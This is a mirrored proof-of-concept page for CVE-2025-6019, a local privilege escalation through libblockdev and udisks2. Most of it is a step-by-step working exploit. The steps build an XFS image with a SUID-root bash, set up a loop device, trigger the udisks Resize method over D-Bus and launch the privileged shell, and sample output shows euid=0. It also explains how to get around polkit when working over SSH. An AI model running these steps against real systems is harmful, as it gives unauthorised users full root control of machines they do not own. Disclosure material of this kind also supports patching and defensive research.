CVE-2025-6019 PoC — Libblockdev: lpe from allow_active to root in libblockdev via udisks

Source

https://github.com/And-oss/CVE-2025-6019-exploit

Associated Vulnerability

Title: Libblockdev: lpe from allow_active to root in libblockdev via udisks (CVE-2025-6019)
Description:A Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the "allow_active" setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an "allow_active" user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation. However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.

Description

exploit

Readme

# CVE-2025-6019: Privilege Escalation Exploit via UDisks2 Filesystem Resize

## Vulnerability Details
- **CVE ID**: CVE-2025-6019
- **Impact**: Local Privilege Escalation (LPE)
- **Affected Systems**: Linux systems with vulnerable `udisks2` versions
- **Mechanism**: Race condition during filesystem resize allows access to SUID binaries in world-writable temporary directories
- **Key Components**: 
  - `udisks2` service (DBus interface)
  - `org.freedesktop.UDisks2.Filesystem.Resize` method
  - Temporary mount points under `/tmp/blockdev*`

## Exploit Workflow
### 1. Prepare Malicious Filesystem Image (Attacker)
```bash
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount 
```

### 2. Trigger Exploit (Victim Machine)
```bash
# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
```
### 3. Gain Root Access
```bash
/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)
```

## Important! 
Exploit working only in logind session! 

- The script must run from a logind session that is
  Active=yes and Remote=no (e.g. tty1).  
- When it’s started from an SSH / pts/* / reverse-shell session the
  `udisksctl loop-setup --no-user-interaction` call is denied by
  polkit, so the PoC bails out with  
  “Failed to create loop device”.

Notice: 
- If you want to use exploit via SSH, you must drop temporary polkit rule

## How to use exploit 

### Create suid image 
```bash
$ sudo bash exploit.sh create 
```

### exploit system 
```bash
$ bash exploit.sh exploit 
```

### POC Video

![poc](https://github.com/user-attachments/assets/b941cdd1-c21a-4247-a649-94100f83a15c)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →